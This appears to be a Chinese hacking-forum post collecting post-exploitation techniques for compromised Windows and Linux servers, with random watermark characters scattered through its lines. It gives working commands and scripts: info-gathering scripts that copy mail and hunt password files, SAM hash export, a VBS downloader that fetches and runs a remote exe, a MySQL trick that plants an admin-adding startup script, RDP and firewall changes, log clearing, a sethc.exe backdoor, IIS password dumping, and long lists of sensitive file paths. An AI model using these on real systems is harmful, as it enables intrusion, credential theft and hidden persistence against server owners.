( |5 _. e0 k2 _4 M5 o# `; ?& A6 s（注：本文原件由0x童鞋收集整理，感谢0x童鞋，本人补充和优化了点，本文毫无逻辑可言，因为是想到什么就写了，大家见谅）
3 A& C) C$ c# B7 H" x——————————————
感谢T00LS的童鞋们踊跃交流，让我学到许多经验，为了方便其他童鞋浏览，将T00LS的童鞋们补充的贴在下面，同时我也会以后将自己的一些想法跟新在后面。
6 |6 t$ S3 @( `+ w5 Z: A————————————————————————————
( j6 D7 t- T. j7 n2 R% S1、tar打包            tar -cvf /home/public_html/*.tar /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
alzip打包(韩国) alzip -a D:\WEB\ d:\web\*.rar
) o$ V  Q; ~  x6 \: v1 B{
+ }5 `6 K/ w; H* v4 k注：
( h! |. a0 V/ Q& \: Y0 F关于tar的打包方式,linux不以扩展名来决定文件类型。
5 [# p+ Y+ V' b0 j若压缩的话tar -ztf *.tar.gz   查看压缩包里内容     tar -zxf *.tar.gz 解压
: Q# t# {  u  V/ Y: r! G那么用这条比较好 tar -czf /home/public_html/*.tar.gz /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
5 K, B9 t  e. l}  

8 C5 U6 j& `& Q) M0 D; G! L提权先执行systeminfo
token 漏洞补丁号 KB956572
Churrasco          kb952004
9 N) v3 r! x; t0 c命令行RAR打包~~·
3 r. g/ \) L9 ?rar a -k -r -s -m3 c:\1.rar c:\folder
, `( m* X( i% O8 a5 M: R+ r4 u$ V——————————————
2、收集系统信息的脚本  
5 S+ g- h/ ?  Y" [6 afor window：
8 Y' Y3 L, h) ]  M0 \' e- }: j
@echo off
$ j6 j( c) f/ p4 R; w8 t$ k5 Oecho #########system info collection
7 U$ M9 W0 B/ S* c( [! m: V+ Hsysteminfo
ver
hostname
1 G2 d9 C9 o2 d. Snet user
net localgroup
9 Q: w% z2 T9 v8 x2 Hnet localgroup administrators
2 @8 l3 M2 R$ V: b2 K$ `net user guest
2 L1 E: X" N6 c1 ]net user administrator

% n9 R" \2 @+ g" }/ Becho #######at- with   atq#####
echo schtask /query

echo
echo ####task-list#############
tasklist /svc
echo
8 m  T2 X2 {; O1 {: B  A2 Mecho ####net-work infomation
ipconfig/all
- @) v+ R. T# q$ k; ]route print
! F  U3 k* T( @, e. d  aarp -a
. O% s$ j4 H: i6 B2 m$ Jnetstat -anipconfig /displaydns
echo
" y- n1 W+ y+ xecho #######service############
8 P! w1 l. X) ~sc query type= service state= all
1 ~; n2 E1 p8 W0 v, d/ Wecho #######file-##############
3 `# j) b* C- ?! rcd \
tree -F
! W, h2 N3 @7 E) n0 Nfor linux：
* d6 g# G( r" M" @/ S9 a
#!/bin/bash

, M* `0 c7 D; x( l1 recho #######geting sysinfo####
/ r3 P! a; ^% y2 C& I" b7 Secho ######usage: ./getinfo.sh >/tmp/sysinfo.txt
echo #######basic infomation##
cat /proc/meminfo
3 u& G. g4 {# m( y3 Becho
cat /proc/cpuinfo
echo
rpm -qa 2>/dev/null
######stole the mail......######
cp -a /var/mail /tmp/getmail 2>/dev/null


  h* v7 w+ K7 v- O# m! pecho 'u'r id is' `id`
1 `0 H, H) Z. j0 d7 B( v5 D" ?2 D- p5 Q* secho ###atq&crontab#####
atq
crontab -l
$ r0 p+ S& U' o! t3 @" K  pecho #####about var#####
4 x0 z* Q; F/ \& @7 N$ J$ K- aset

; p& C+ R' K2 A5 v/ _1 e4 D' Secho #####about network###
####this is then point in pentest,but i am a new bird,so u need to add some in it
cat /etc/hosts
hostname
ipconfig -a
, l1 h0 @( C, C0 z$ g: \3 Garp -v
echo ########user####
cat /etc/passwd|grep -i sh

8 @( x$ q  o6 \6 |' zecho ######service####
chkconfig --list
! A7 J; u7 Y6 q
for i in {oracle,mysql,tomcat,samba,apache,ftp}
cat /etc/passwd|grep -i $i
done

locate passwd >/tmp/password 2>/dev/null
9 A5 h1 p" {( _6 }" j6 K- Gsleep 5
% b& V4 }2 M6 zlocate password >>/tmp/password 2>/dev/null
0 `8 |6 y, D( P# @' p2 ~- B  ]! zsleep 5
- j1 T2 x- m& Q* Y& l3 f% d; ~& {locate conf >/tmp/sysconfig 2>dev/null
sleep 5
locate config >>/tmp/sysconfig 2>/dev/null
5 H2 V$ M) g: N, ssleep 5

& R. l4 S% _1 h2 \. g. y2 R###maybe can use "tree /"###
echo ##packing up#########
tar cvf getsysinfo.tar /tmp/getmail /tmp/password /tmp/sysconfig
rm -rf /tmp/getmail /tmp/password /tmp/sysconfig
& z+ U* Q; [0 K. |——————————————
! H9 [& K& d4 T4 D; \3、ethash 不免杀怎么获取本机hash。
首先导出注册表 regedit /e d:\aa.reg "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users"   （2000）
: y- n1 @" Q) i+ c5 t6 _               reg export "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users" d:\aa.reg  （2003）
注意权限问题，一般注册表默认sam目录是不能访问的。需要设置为完全控制以后才可以访问（界面登录的需要注意，system权限可以忽略）
接下来就简单了，把导出的注册表，down 到本机，修改注册表头导入本机，然后用抓去hash的工具抓本地用户就OK了
hash 抓完了记得把自己的账户密码改过来哦！
" A/ R6 m8 J0 h据我所知，某人是用这个方法虚拟机多次因为不知道密码而进不去！~
——————————————
% x. N# S3 g7 O* [8 Q& Y3 U* |4、vbs 下载者
1
3 E. T0 r, p0 N2 Lecho Set sGet = createObject("ADODB.Stream") >>c:\windows\cftmon.vbs
, \+ [; `  ~5 B7 I. s* K* H. h. ^echo sGet.Mode = 3 >>c:\windows\cftmon.vbs
# G6 S$ j4 K& Q1 b" U) S. p$ Necho sGet.Type = 1 >>c:\windows\cftmon.vbs
echo sGet.Open() >>c:\windows\cftmon.vbs
echo sGet.Write(xPost.responseBody) >>c:\windows\cftmon.vbs
echo sGet.SaveToFile "c:\windows\e.exe",2 >>c:\windows\cftmon.vbs
5 l( {7 g5 u# I9 xecho Set objShell = CreateObject("Wscript.Shell") >>c:\windows\cftmon.vbs
3 r4 z, l- D+ K# y5 c) }echo objshell.run """c:\windows\e.exe""" >>c:\windows\cftmon.vbs
cftmon.vbs
) `3 n/ w( c9 T' v* K4 [
$ a: p* g# I! @; ~7 R* H# D2
On Error Resume Nextim iRemote,iLocal,s1,s2
iLocal = LCase(WScript.Arguments(1)):iRemote = LCase(WScript.Arguments(0))  
s1="Mi"+"cro"+"soft"+"."+"XML"+"HTTP":s2="ADO"+"DB"+"."+"Stream"
& T6 z$ n; ^/ T9 T$ P; Y% hSet xPost = CreateObject(s1):xPost.Open "GET",iRemote,0:xPost.Send()
Set sGet = CreateObject(s2):sGet.Mode=3:sGet.Type=1:sGet.Open()
sGet.Write(xPost.responseBody):sGet.SaveToFile iLocal,2
2 ^: m! p! {' V  v! _# K  s
+ _6 C3 j$ e1 g9 d6 _cscript c:\down.vbs http://xxxx/mm.exe c:\mm.exe

当GetHashes获取不到hash时，可以用兵刃把sam复制到桌面
——————————————————
5、
, l* N; d+ P- e9 c' g7 ?! [1.查询终端端口
) e" y8 F* T# y) }5 b' s. VREG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber
* F: I7 G4 q. ^# T7 M2.开启XP&2003终端服务
$ Z4 w2 h) k: u0 o, r6 ?9 FREG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
3 l+ P9 h6 U7 M+ e7 ?6 c3.更改终端端口为2008(0x7d8)
) {: T' A$ d$ [% kREG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\Wds\rdpwd\Tds\tcp /v PortNumber /t REG_DWORD /d 0x7d8 /f
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber /t REG_DWORD /d 0x7D8 /f
4.取消xp&2003系统防火墙对终端服务的限制及IP连接的限制
. Z9 m5 ^2 D( \4 U. `0 nREG ADD HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List /v 3389:TCP /t REG_SZ /d 3389:TCP:*:Enabled   xpsp2res.dll,-22009 /f
$ X& }# h+ Y. b0 ]————————————————
6、create table a (cmd text);
$ u- H, P. Y) l: A" Ainsert into a values ("set wshshell=createobject (""wscript.shell"")");
insert into a values ("a=wshshell.run (""cmd.exe /c net user admin admin /add"",0)");
  A/ I0 L- k. ]insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators admin /add"",0)");  
select * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";
3 ?8 ?" x0 {/ L% j, G' ~9 B" |————————————————————
' y& t  `# s! Z6 J7 Z2 i9 l7、BS马的PortMap功能，类似LCX做转发。若果支持ASPX，用这个转发会隐蔽点。（注：一直忽略了在偏僻角落的那个功能）
_____
8、for /d %i in (d:\freehost\*) do @echo %i
3 R$ k6 K; R+ Q2 D  R) B: R
. s2 S6 T% K& A3 \列出d的所有目录
2 b: u" u1 Z  s: B) X  
6 I2 h; q. z$ k2 ?4 q2 t- l9 R" b  for /d %i in (???) do @echo %i

$ P+ b3 ]( P* [6 V把当前路径下文件夹的名字只有1-3个字母的打出来

8 \' ^! q2 W) z9 ?. I( M0 q2.for /r %i in (*.exe) do @echo %i
' q0 C7 W  f- C% n; Z* R) ~  
* `) a) i" H0 @) a$ h  ?6 Z以当前目录为搜索路径.会把目录与下面的子目录的全部EXE文件列出
* X0 Y$ A3 E1 k0 P
, L! T: f- S0 ofor /r f:\freehost\hmadesign\web\ %i in (*.*) do @echo %i
2 h- _! u, r( i' V" }( A
8 P& X" G% Q9 w6 d% }3.for /f %i in (c:\1.txt) do echo %i
. w  Y7 P9 c3 f; f# E7 {+ W! `  
9 Q2 {. _  w/ U  //这个会显示a.txt里面的内容，因为/f的作用，会读出a.txt中

$ M/ `( B2 V- ~' h! a4 D$ e' d4.for /f "tokens=2 delims= " %i in (a.txt) do echo %i

  delims=后的空格是分隔符 tokens是取第几个位置
! s$ ~: \9 z9 d1 @! f9 I——————————
●注册表:
1.Administrator注册表备份:
$ l% ], c' ~$ U- J' Freg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\1f4.reg

2.修改3389的默认端口:
4 \, w3 x6 l" R: m: G. t9 o, HHKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp
修改PortNumber.
# r* _* f( W5 k2 K  m" r, s
3.清除3389登录记录:
; O3 B5 a& s" }reg delete "HKCU\Software\Microsoft\Terminal Server Client"  /f

6 j* A+ N+ |3 i5 q% y4.Radmin密码:
* F  i; n! z# Z% qreg export HKLM\SYSTEM\RAdmin c:\a.reg
( z+ J; w4 L4 l7 V- N9 V2 t: ~
5 P" D6 ?1 N9 {$ ]8 f2 ^5.禁用TCP/IP端口筛选(需重启):
REG ADD HKLM\SYSTEM\ControlSet001\Services\Tcpip\parameters /v EnableSecurityFilters /t REG_DWORD /d 0 /f
. K$ O+ g* q3 t9 @
6.IPSec默认免除项88端口(需重启):
reg add HKLM\SYSTEM\CurrentControlSet\Services\IPSEC /v NoDefaultExempt /t REG_DWORD /d 0 /f
; Q! ?6 z0 t+ [" z8 D或者
netsh ipsec dynamic set config ipsecexempt value=0

- }. b( B+ u  o+ p7.停止指派策略"myipsec":
7 W" T( o0 V6 X8 {; q2 Dnetsh ipsec static set policy name="myipsec" assign=n
$ Q+ Z) R! [$ _! j  t0 v
* b4 g% X% p4 G1 x# ?; z8.系统口令恢复LM加密:
reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v LMCompatibilityLevel /t REG_DWORD /d 0 /f

: x) [6 Y5 f+ M! i6 ?+ Z3 n8 j9.另类方法抓系统密码HASH
reg save hklm\sam c:\sam.hive
- m& o7 ^* d; L; E/ v8 {' n9 \reg save hklm\system c:\system.hive
. w( d5 G1 w; I6 }7 |& @* Ereg save hklm\security c:\security.hive

10.shift映像劫持
* J9 r/ j$ {# E) Z9 y8 Preg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v debugger /t REG_sz /d cmd.exe

: |, C! `0 z: J! `: Q- Sreg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /f
-----------------------------------
星外vbs(注：测试通过，好东西）
  f& L1 `( e/ fSet ObjService=GetObject("IIS://LocalHost/W3SVC")
For Each obj3w In objservice
5 M/ h. |1 H% R& q9 K: dchildObjectName=replace(obj3w.AdsPath,Left(obj3w.Adspath,22),"")
if IsNumeric(childObjectName)=true then
set IIs=objservice.GetObject("IIsWebServer",childObjectName)
if err.number<>0 then
exit for
msgbox("error!")
4 z* r* c& T/ |$ r3 [6 `wscript.quit
end if
% a8 x! t7 z" z; v. O* e4 \serverbindings=IIS.serverBindings
ServerComment=iis.servercomment
7 k% q8 }+ s4 J: j) D0 k% y  sset IISweb=iis.getobject("IIsWebVirtualDir","Root")
user=iisweb.AnonymousUserName
pass=iisweb.AnonymousUserPass
path=IIsWeb.path
list=list&servercomment&" "&user&" "&pass&" "&join(serverBindings,",")&" "&path& vbCrLf & vbCrLf
6 O6 a8 x( B" z2 X( ~end if
+ h# z* d: F7 O: INext
wscript.echo list
, p' a$ h! D% U; }Set ObjService=Nothing
wscript.echo "from : http://www.xxx.com/" &vbTab&vbCrLf
1 s0 i7 D8 p" h, S: G" qWScript.Quit
复制代码
$ V7 Z; l' s' B2 L6 z, @----------------------2011新气象，欢迎各位补充、指正、优化。----------------
1、Firefox的利用(主要用于内网渗透），火狐浏览器的密码储存在C:\Documents and Settings\Administrator\Application Data\Mozilla\Firefox\Profiles\文件夹，打包后，本地查看。或有很多惊喜~
2、win2k的htt提权（注：仅适合2k以及以下版本，文件夹不限,只读权限即可)
将folder.htt文件，加入以下代码：
<OBJECT ID=RUNIT WIDTH=0 HEIGHT=0 TYPE="application/x-oleobject" CODEBASE="cmd.exe">
- ^$ j- F0 S/ l+ @</OBJECT>
7 n! }: r& a# @. Y复制代码
然后与desktop.ini、cmd.exe同一个文件夹。当管理打开该文件夹时即可运行。
" v' U, }- _! C: i  C$ NPS：我N年前在邪八讨论过XP下htt提权，由于N年前happy蠕虫的缘故，2K以后都没有folder.htt文件，但是xp下的htt自运行各位大牛给个力~
asp代码，利用的时候会出现登录问题
原因是ASP大马里有这样的代码：（没有就没事儿了）
3 r7 T  O" ^! G6 q url=request.severvariables("url")
: \, B* Y6 X# | 这里显示接收到的参数是通过URL来传递的，也就是说登录大马的时候服务器会解析b.asp，于是就出现了问题。
7 z1 @& m* n3 l( Y* j 解决方法
url=request.severvariables("path_info")
" `: h! F8 O. Z( v: q! R path_info可以直接呈现虚拟路径 顺利解析gif大马
4 T. G) B3 A' t. \3 x7 ~
==============================================================
LINUX常见路径：

/etc/passwd
/etc/shadow
/etc/fstab
/etc/host.conf
/etc/motd
. j- O  b6 f5 b) O$ T$ A) k) p! m: z3 ]/etc/ld.so.conf
/var/www/htdocs/index.php
$ }0 `3 {) k* ?3 k6 m( N/var/www/conf/httpd.conf
/var/www/htdocs/index.html
6 B0 y0 C; I* b3 [/ U& T/var/httpd/conf/php.ini
# |# M$ m8 a* {7 w3 t. E/var/httpd/htdocs/index.php
/var/httpd/conf/httpd.conf
1 R: ]! G; b+ K3 G) v/var/httpd/htdocs/index.html
/var/httpd/conf/php.ini
6 l# Y2 K3 C5 R6 o5 H/var/www/index.html
: N- c/ P, v! M4 p/var/www/index.php
/opt/www/conf/httpd.conf
! `5 m0 e8 ?6 |/opt/www/htdocs/index.php
' ]; @3 M- b* D  z5 ]3 N% o/opt/www/htdocs/index.html
+ S( Y1 F" k5 z  ~6 g/usr/local/apache/htdocs/index.html
/usr/local/apache/htdocs/index.php
/usr/local/apache2/htdocs/index.html
  O0 g' F7 K0 r3 B8 u8 r/usr/local/apache2/htdocs/index.php
/usr/local/httpd2.2/htdocs/index.php
/usr/local/httpd2.2/htdocs/index.html
) I6 h* x5 _8 w/ F/tmp/apache/htdocs/index.html
/tmp/apache/htdocs/index.php
/etc/httpd/htdocs/index.php
/etc/httpd/conf/httpd.conf
0 K% s0 d3 S' N% ^/etc/httpd/htdocs/index.html
& l7 K, }$ z# j5 g3 `; r7 G/www/php/php.ini
! |7 Y6 J7 Z; S0 ^1 I/ ~  j$ n9 e' v" F% [9 R/www/php4/php.ini
/www/php5/php.ini
  y: j( M1 f+ W/www/conf/httpd.conf
8 l' ?; B1 q3 |6 C/www/htdocs/index.php
9 K3 q% \4 O9 b  c- e$ V- B+ j  l/www/htdocs/index.html
; q. @6 e6 \+ p6 G, z' C- R' N/usr/local/httpd/conf/httpd.conf
9 d5 U6 b0 a/ }1 @0 z/apache/apache/conf/httpd.conf
/apache/apache2/conf/httpd.conf
/etc/apache/apache.conf
/etc/apache2/apache.conf
0 \, x$ v' [5 `4 l6 y/etc/apache/httpd.conf
/etc/apache2/httpd.conf
! }  B6 V" T8 A/ g: l/etc/apache2/vhosts.d/00_default_vhost.conf
: @% n* Z& n4 A) E/etc/apache2/sites-available/default
/etc/phpmyadmin/config.inc.php
3 c. {( L( Y& t/etc/mysql/my.cnf
1 w9 r0 q8 g, H8 f! @! V+ s, k/etc/httpd/conf.d/php.conf
0 ^6 W1 U+ V! A; z6 L: E7 z0 Y; ]/ e/etc/httpd/conf.d/httpd.conf
/etc/httpd/logs/error_log
/ N. C8 Z3 _& u+ d0 @. r* ?/etc/httpd/logs/error.log
8 D( r! w* ]+ F/ a/etc/httpd/logs/access_log
/etc/httpd/logs/access.log
/home/apache/conf/httpd.conf
/home/apache2/conf/httpd.conf
0 s6 N2 F9 _( I6 l0 t' F/var/log/apache/error_log
/var/log/apache/error.log
- U9 u: @1 l' V' H3 Z* h/var/log/apache/access_log
4 _% U6 [( L8 e- g4 [# F. x  U% @/var/log/apache/access.log
/var/log/apache2/error_log
( y2 b) _3 N+ i/var/log/apache2/error.log
/var/log/apache2/access_log
/var/log/apache2/access.log
/var/www/logs/error_log
9 ^  M9 }4 K& F' D; I/var/www/logs/error.log
/var/www/logs/access_log
0 o  S0 l4 C* [: k( l+ Y3 _* ?/var/www/logs/access.log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
/usr/local/apache/logs/access_log
) f' h4 t) l3 |6 d6 f" K$ N; O/usr/local/apache/logs/access.log
6 f1 T+ L2 `' l" Q0 `/var/log/error_log
/var/log/error.log
/var/log/access_log
# K& ]" G; p0 b7 s/var/log/access.log
/usr/local/apache/logs/access_logaccess_log.old
' ~" ^" I0 m" M) j8 X/usr/local/apache/logs/error_logerror_log.old
0 g+ Z( J+ Y' f$ O/etc/php.ini
2 r) U2 x6 {; [: _& v9 K/bin/php.ini
/etc/init.d/httpd
/etc/init.d/mysql
! g8 B& g# t9 a; G5 j# Z/etc/httpd/php.ini
% `, E+ Z" s2 O/usr/lib/php.ini
# F- ^  m6 x4 h5 }9 t/usr/lib/php/php.ini
# I  \! X1 w: H5 h& _0 X9 g/usr/local/etc/php.ini
/usr/local/lib/php.ini
* ?$ M6 y9 N5 K$ Y/usr/local/php/lib/php.ini
( N0 B$ \+ R- K/ V/usr/local/php4/lib/php.ini
/usr/local/php4/php.ini
, s& X% e( R7 u  g% w" `+ _! J( P/usr/local/php4/lib/php.ini
/usr/local/php5/lib/php.ini
/usr/local/php5/etc/php.ini
# y0 o/ Q' L' K( M8 L9 U, O& C; v/usr/local/php5/php5.ini
/usr/local/apache/conf/php.ini
/usr/local/apache/conf/httpd.conf
/usr/local/apache2/conf/httpd.conf
2 ~! s( H. O: A& h# l* [) {/usr/local/apache2/conf/php.ini
/etc/php4.4/fcgi/php.ini
/etc/php4/apache/php.ini
; D- D" C( e5 ^7 j! s" i/etc/php4/apache2/php.ini
/ J& f! H0 T, x& [* o& U5 D8 X/etc/php5/apache/php.ini
. B9 ?! Y6 z- h! X) I$ E/etc/php5/apache2/php.ini
$ g; e, R, `# }. W/etc/php/php.ini
2 T, J6 M3 Y5 D5 s6 O1 i/etc/php/php4/php.ini
/etc/php/apache/php.ini
& q& u" \4 S  c/etc/php/apache2/php.ini
+ |8 @2 n% Z7 u6 p/web/conf/php.ini
/usr/local/Zend/etc/php.ini
/opt/xampp/etc/php.ini
/var/local/www/conf/php.ini
8 d! k/ P$ ]0 d2 c7 h/var/local/www/conf/httpd.conf
- Y3 V* V9 y* r5 C/ G* v/etc/php/cgi/php.ini
/etc/php4/cgi/php.ini
/etc/php5/cgi/php.ini
/ ]! q  i8 U( v5 r' g/php5/php.ini
/php4/php.ini
/php/php.ini
/PHP/php.ini
/apache/php/php.ini
/xampp/apache/bin/php.ini
/xampp/apache/conf/httpd.conf
/NetServer/bin/stable/apache/php.ini
" ~; s# }6 o/ i1 b/home2/bin/stable/apache/php.ini
/home/bin/stable/apache/php.ini
5 c- C- T+ V! X; c% e/var/log/mysql/mysql-bin.log
/var/log/mysql.log
% l$ b5 L4 y; x, X; Q! M' F4 |2 j/var/log/mysqlderror.log
- ^0 h* s  z$ f5 |3 o4 O. A/var/log/mysql/mysql.log
6 X" X: p3 m; \/var/log/mysql/mysql-slow.log
/var/mysql.log
/var/lib/mysql/my.cnf
/usr/local/mysql/my.cnf
/usr/local/mysql/bin/mysql
1 @2 f3 [. z8 z) X4 P& }" T, `/etc/mysql/my.cnf
: c3 i! C3 P) i; l+ d) @1 K" B/etc/my.cnf
$ Q: C7 o( I/ A1 `; I' k# o6 X/ u/usr/local/cpanel/logs
  K# @/ O% r$ }! ]9 T/usr/local/cpanel/logs/stats_log
/usr/local/cpanel/logs/access_log
) ]/ b: J% |6 L( |- Q/usr/local/cpanel/logs/error_log
/usr/local/cpanel/logs/license_log
& L8 F, U+ {% n% O2 O/ M/usr/local/cpanel/logs/login_log
/usr/local/cpanel/logs/stats_log
# s! c+ m+ [1 p4 p5 c+ n/usr/local/share/examples/php4/php.ini
/usr/local/share/examples/php/php.ini
3 l1 e1 {/ W4 Q3 {- ^  Y; P; I8 V
2..windows常见路径（可以将c盘换成d,e盘,比如星外虚拟主机跟华众得,一般都放在d盘）

# p7 X: N4 O. V9 H- W7 D  Q( ]c:\windows\php.ini
c:\boot.ini
c:\1.txt
c:\a.txt

" C) W9 P4 t9 h8 @% Qc:\CMailServer\config.ini
* n. m# o9 A8 r- f  bc:\CMailServer\CMailServer.exe
( y* t& k' v  J; M8 b3 Rc:\CMailServer\WebMail\index.asp
c:\program files\CMailServer\CMailServer.exe
1 B7 T* I, ]! F0 E8 Wc:\program files\CMailServer\WebMail\index.asp
C:\WinWebMail\SysInfo.ini
C:\WinWebMail\Web\default.asp
C:\WINDOWS\FreeHost32.dll
C:\WINDOWS\7i24iislog4.exe
C:\WINDOWS\7i24tool.exe
  ]) l- m2 s5 s( |5 i
c:\hzhost\databases\url.asp

c:\hzhost\hzclient.exe
C:\Documents and Settings\All Users\「开始」菜单\程序\7i24虚拟主机管理平台\自动设置[受控端].lnk

C:\Documents and Settings\All Users\「开始」菜单\程序\Serv-U\Serv-U Administrator.lnk
C:\WINDOWS\web.config
* J5 S! C( T$ i0 Z5 [: k9 rc:\web\index.html
c:\www\index.html
# R; b! `0 V- }# N) T9 c+ q: g" L) F' uc:\WWWROOT\index.html
& H- d; P8 q3 w5 d6 c  _c:\website\index.html
/ l* _$ U4 B! V+ V# ^7 P( H7 gc:\web\index.asp
c:\www\index.asp
8 q7 a' T1 ~, G5 hc:\wwwsite\index.asp
c:\WWWROOT\index.asp
c:\web\index.php
c:\www\index.php
& [& W9 I( E8 x( R5 j: B$ Xc:\WWWROOT\index.php
+ c" f- _0 i& I! c" b/ h, p1 jc:\WWWsite\index.php
c:\web\default.html
c:\www\default.html
c:\WWWROOT\default.html
2 ^0 f2 {% k/ tc:\website\default.html
. ~! }4 h! s9 wc:\web\default.asp
c:\www\default.asp
2 F5 C& ?$ D' Z7 X/ ^6 ^! `c:\wwwsite\default.asp
' O- f' H# Z! J; o7 _c:\WWWROOT\default.asp
c:\web\default.php
- w# |5 e& R/ `. a, B2 tc:\www\default.php
  X  f+ H/ c5 e: Yc:\WWWROOT\default.php
  ?- o+ t) {! ?! Y6 tc:\WWWsite\default.php
C:\Inetpub\wwwroot\pagerror.gif
c:\windows\notepad.exe
: {" t. |5 c8 tc:\winnt\notepad.exe
- ]( M) C) g# U; \# m) fC:\Program Files\Microsoft Office\OFFICE10\winword.exe
& R% C3 T, E4 G, Q+ ?5 s% F8 tC:\Program Files\Microsoft Office\OFFICE11\winword.exe
' X! _* X9 F/ k+ E) AC:\Program Files\Microsoft Office\OFFICE12\winword.exe
) W+ c  M! X: G6 V4 n0 KC:\Program Files\Internet Explorer\IEXPLORE.EXE
C:\Program Files\winrar\rar.exe
% t1 n! y2 @2 Z/ gC:\Program Files\360\360Safe\360safe.exe
C:\Program Files\360Safe\360safe.exe
C:\Documents and Settings\Administrator\Application Data\360Safe\360Examine\360Examine.log
c:\ravbin\store.ini
( _! Z8 c! F* D" |; xc:\rising.ini
C:\Program Files\Rising\Rav\RsTask.xml
C:\Documents and Settings\All Users\Start Menu\desktop.ini
& R" c% c+ V, ^3 HC:\Documents and Settings\Administrator\My Documents\Default.rdp
C:\Documents and Settings\Administrator\Cookies\index.dat
C:\Documents and Settings\Administrator\My Documents\新建 文本文档.txt
C:\Documents and Settings\Administrator\桌面\新建 文本文档.txt
C:\Documents and Settings\Administrator\My Documents\1.txt
4 d9 A1 Q" e+ p" k% `. m( V) S! ], iC:\Documents and Settings\Administrator\桌面\1.txt
/ ]4 S; L$ l# {; K2 H) ]C:\Documents and Settings\Administrator\My Documents\a.txt
C:\Documents and Settings\Administrator\桌面\a.txt
& @+ ^, _$ H6 ^# Q2 i$ E2 O$ `0 Q0 ~9 IC:\Documents and Settings\All Users\Documents\My Pictures\Sample Pictures\Blue hills.jpg
1 W( A( N( l! ~4 [. ]- pE:\Inetpub\wwwroot\aspnet_client\system_web\1_1_4322\SmartNav.htm
C:\Program Files\RhinoSoft.com\Serv-U\Version.txt
! H' d; g# i4 A  _C:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
C:\Program Files\Symantec\SYMEVENT.INF
: K; `7 D2 R, n$ ]) e$ [1 qC:\Program Files\Microsoft SQL Server\80\Tools\Binn\sqlmangr.exe
C:\Program Files\Microsoft SQL Server\MSSQL\Data\master.mdf
C:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\Data\master.mdf
C:\Program Files\Microsoft SQL Server\MSSQL.2\MSSQL\Data\master.mdf
4 s1 Q, p: k8 S4 |+ BC:\Program Files\Microsoft SQL Server\80\Tools\HTML\database.htm
3 a) i1 d/ C. e( u8 y2 I& c" [C:\Program Files\Microsoft SQL Server\MSSQL\README.TXT
C:\Program Files\Microsoft SQL Server\90\Tools\Bin\DdsShapes.dll
+ r3 _, ^+ i2 ?: P4 R9 D; DC:\Program Files\Microsoft SQL Server\MSSQL\sqlsunin.ini
C:\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\data\mysql\user.frm
C:\Program Files\MySQL\MySQL Server 5.0\COPYING
/ J6 b. s, l( m+ C: `) h  Q  b% ^+ aC:\Program Files\MySQL\MySQL Server 5.0\share\mysql_fix_privilege_tables.sql
. s8 t' w6 ]9 N: ~& V( v/ U2 X; IC:\Program Files\MySQL\MySQL Server 4.1\bin\mysql.exe
  \' T" U0 R, r3 U) f- ^9 S; {c:\MySQL\MySQL Server 4.1\bin\mysql.exe
c:\MySQL\MySQL Server 4.1\data\mysql\user.frm
5 B% \" L, N1 Q5 XC:\Program Files\Oracle\oraconfig\Lpk.dll
C:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\aspnet_state.exe
* x% @$ Y  p# v% B& r% m  W4 FC:\WINDOWS\system32\inetsrv\w3wp.exe
C:\WINDOWS\system32\inetsrv\inetinfo.exe
2 w- w4 `0 G" l! R- |7 ]; q( e2 P5 rC:\WINDOWS\system32\inetsrv\MetaBase.xml
C:\WINDOWS\system32\inetsrv\iisadmpwd\achg.asp
C:\WINDOWS\system32\config\default.LOG
. h2 b0 c/ _* g  ?$ W0 eC:\WINDOWS\system32\config\sam
C:\WINDOWS\system32\config\system
c:\CMailServer\config.ini
c:\program files\CMailServer\config.ini
1 N1 j) [4 E2 Nc:\tomcat6\tomcat6\bin\version.sh
2 c) `) F! b+ jc:\tomcat6\bin\version.sh
c:\tomcat\bin\version.sh
c:\program files\tomcat6\bin\version.sh
1 M* S2 Z) t/ C1 W" X6 ?* q; C7 iC:\Program Files\Apache Software Foundation\Tomcat 6.0\bin\version.sh
c:\Program Files\Apache Software Foundation\Tomcat 6.0\logs\isapi_redirect.log
c:\Apache2\Apache2\bin\Apache.exe
, ]( m0 k; R3 R; Yc:\Apache2\bin\Apache.exe
c:\Apache2\php\license.txt
C:\Program Files\Apache Group\Apache2\bin\Apache.exe
" U- a9 L: ^2 R3 G5 s6 v! T7 A. E8 S/usr/local/tomcat5527/bin/version.sh
: L7 z3 w$ R2 o: k& w/usr/share/tomcat6/bin/startup.sh
. o5 H; z/ e$ N3 \! _/usr/tomcat6/bin/startup.sh
c:\Program Files\QQ2007\qq.exe
: k/ {2 ^, X+ a0 G0 w5 Y0 R, d8 \7 sc:\Program Files\Tencent\qq\User.db
9 f. c) J! E  sc:\Program Files\Tencent\qq\qq.exe
c:\Program Files\Tencent\qq\bin\qq.exe
8 |; L$ j9 t8 Y* H1 Y5 Sc:\Program Files\Tencent\qq2009\qq.exe
c:\Program Files\Tencent\qq2008\qq.exe
